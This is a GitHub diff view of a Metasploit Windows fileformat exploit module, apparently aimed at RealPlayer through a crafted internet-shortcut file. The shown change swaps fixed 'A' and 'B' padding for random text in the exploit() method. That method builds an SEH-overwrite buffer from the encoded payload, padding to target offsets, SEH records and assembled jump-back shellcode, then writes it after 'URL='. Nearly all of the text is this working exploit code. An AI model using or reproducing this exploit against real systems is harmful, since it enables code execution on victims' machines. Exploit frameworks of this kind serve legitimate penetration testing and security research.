File tree Expand file tree Collapse file tree 1 file changed +3
-3
lines changed
modules/exploits/windows/fileformat Expand file tree Collapse file tree 1 file changed +3
-3
lines changed Original file line number Diff line number Diff line change @@ -70,13 +70,13 @@ def initialize(info = {})
70
70
def exploit
71
71
72
72
buffer = payload . encoded
73
- buffer << "A" * ( target [ 'OffsetOne' ] - buffer . length ) # Open the file via double click
73
+ buffer << rand_text ( target [ 'OffsetOne' ] - buffer . length ) # Open the file via double click
74
74
buffer << generate_seh_record ( target . ret )
75
75
buffer << Metasm ::Shellcode . assemble ( Metasm ::Ia32 . new , "call $-#{ target [ 'OffsetOne' ] + 8 } " ) . encode_string
76
- buffer << "A" * ( target [ 'OffsetTwo' ] - buffer . length ) # Open the file via drag and drop to the real player
76
+ buffer << rand_text ( target [ 'OffsetTwo' ] - buffer . length ) # Open the file via drag and drop to the real player
77
77
buffer << generate_seh_record ( target . ret )
78
78
buffer << Metasm ::Shellcode . assemble ( Metasm ::Ia32 . new , "call $-#{ target [ 'OffsetTwo' ] + 8 } " ) . encode_string
79
- buffer << "B" * 7000 # Generate exception
79
+ buffer << rand_text ( 7000 ) # Generate exception
80
80
81
81
content = "[InternetShortcut]\n URL="
82
82
filecontent = content +buffer
You can’t perform that action at this time.
0 commit comments